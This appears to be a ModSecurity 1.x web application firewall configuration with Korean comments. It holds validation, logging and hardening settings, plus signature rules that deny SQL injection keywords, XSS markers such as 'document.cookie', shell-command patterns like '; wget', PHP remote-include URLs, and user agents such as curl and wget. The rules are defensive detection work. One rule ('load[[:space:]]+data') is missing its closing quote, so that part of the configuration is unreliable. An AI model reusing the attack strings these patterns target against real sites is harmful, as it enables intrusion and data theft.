SecFilterOutputMimeTypes "(null) text/html text/plain"

##### Validation #####

SecFilterCheckURLEncoding On

SecUploadDir /tmp

SecUploadKeepFiles Off

SecFilterCheckUnicodeEncoding Off

SecFilterForceByteRange 1 255

SecFilterDefaultAction "log,deny,status:403"

##### Logging #####

SecFilterDebugLog logs/modsec_debug.log
SecFilterDebugLevel 1

SecAuditEngine RelevantOnly
SecAuditLog logs/modsec_audit.log

##### Hardening #####
# Body를 가진 GET 또는 HEAD 요청 차단(공격 가능성 높음)

SecFilterSelective REQUEST_METHOD "^(GET|HEAD)$" chain
SecFilterSelective HTTP_Content-Length "!^$"

SecFilterSelective SERVER_PROTOCOL "!^HTTP/(0\.9|1\.0|1\.1)$"

# Content-Length가 없는 POST 요청 차단
SecFilterSelective REQUEST_METHOD "^POST$" chain
SecFilterSelective HTTP_Content-Length "^$"

SecFilterSelective HTTP_Transfer-Encoding "!^$"

##### General #####
```

```
SecFilterSelective HTTP_Host|HTTP_User-Agent|HTTP_Accept "^$"

SecFilterSelective HTTP_User-Agent "(libwhisker|paros|wget|libwww|perl|curl|java)"

##### SQL Injection Attacks #####

SecFilterSignatureAction "log,deny,msg:'SQL Injection attack'"

SecFilterSelective ARGS "delete[[:space:]]+from"
SecFilterSelective ARGS "drop[[:space:]]+database"
SecFilterSelective ARGS "drop[[:space:]]+table"
SecFilterSelective ARGS "drop[[:space:]]+column"
SecFilterSelective ARGS "drop[[:space:]]+procedure"
SecFilterSelective ARGS "create[[:space:]]+table"
SecFilterSelective ARGS "update.+set.+="
SecFilterSelective ARGS "insert[[:space:]]+into.+values"
SecFilterSelective ARGS "select.+from"
SecFilterSelective ARGS "bulk[[:space:]]+insert"
SecFilterSelective ARGS "union.+select"
SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1"
SecFilterSelective ARGS "alter[[:space:]]+table"
SecFilterSelective ARGS "or 1=1--'"
SecFilterSelective ARGS "'.+--"

SecFilterSelective ARGS "into[[:space:]]+outfile"
SecFilterSelective ARGS "load[[:space:]]+data
SecFilterSelective ARGS "/\*.+\*/"

##### XSS Attacks #####

SecFilterSignatureAction "log,deny,msg:'XSS attack'"

SecFilterSelective ARGS "<script"
SecFilterSelective ARGS "javascript:"
SecFilterSelective ARGS "vbscript:"
SecFilterSelective ARGS "document\.cookie"
SecFilterSelective ARGS "document\.location"
SecFilterSelective ARGS "document\.write"

##### Command Execution #####

SecFilterSignatureAction "log,deny,msg:'Command execution attack'"

SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget)"

##### PHP Attacks #####

SecFilterSignatureAction "log,deny,msg:'PHP Injection Attacks'"
SecFilterSelective ARGS_VALUES "^http:/"
SecFilterSelective ARGS_NAMES "(^globals\[|^globals$)"
```